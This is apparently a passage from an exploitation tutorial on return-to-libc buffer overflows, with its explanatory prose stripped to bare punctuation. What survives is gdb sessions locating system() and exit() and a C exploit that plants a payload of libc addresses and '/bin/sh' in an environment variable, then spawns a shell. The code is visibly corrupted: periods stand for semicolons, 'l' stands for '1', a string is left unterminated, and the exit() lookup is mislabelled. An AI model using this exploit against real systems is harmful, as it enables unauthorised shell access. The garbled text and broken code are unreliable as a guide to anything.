. (Solaris, OpenBSD) . , .
, , . , . , , libc. libc libc. .
libc
libc? , EIP , ; , .
, , . , . ? :
- .
- , ( - ).
libc , , . (, ), , , libc. , ? , , , (, ), .
. system(); /bin/sh. system() /bin/sh, . ; system() .
system()? , (bin/sh), . , ( the_function) . , , system().
|
|
|
CALL the_function. CALL ( ), ESP 4. the_function , (EIP) , ESP , .
system(). the_funotion , ESP , . , , ; . , system() ( /bin/sh) 8 . the_function system(), a system() .
, . libc - :
1. system().
2. /bin/sh.
3. exit() .
system() libc , C++. gcc libc , system() :
int main()
{
}
system() gdb.
[root@0day local]# gdb file
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program- /usr/local/book/file
Breakpoint 1. 0x804832e in main 0
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb)
system() 0x4203f2c0. exit().
[root@0day local]# gdb file
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program /usr/local/book/file
Breakpoint 1. 0x804832e in main
(gdb) p exit
$1 = {<text variable, no debug info>} 0x42029bb0 <system>
(gdb)
exit() 0x42029bb0. , /bin/sh memfetch (http://Lcamtuf.coredump.cx/), ; /bin/sh . : /bin/sh .
, . :
1. .
2. system().
3. system() exit().
4. /bin/sh.
, :
#include <stdlib.h>
#define offset_size 0
#define buffer_size 600
char sc[] =
"\xc0\xf2\x03\x42" //system()
"\x02\x9b\xb0\x42" //exit()
"\xa0\x8a\xb2\x42M //binsh
unsigned long find_start(void) {
_asm_ ("movl %esp,%eax"),
|
|
|
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr. addr;
int offset=offset_size; bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[l]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i=0. i < bsize. i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i=0 i < strlen(sc); i++))
*(ptr++) = sc[l];
buff[bsize - 1] = '\0',
memcpy(buff,"BUF=",4),
putenv(buff);
system("/bin/bash");
}
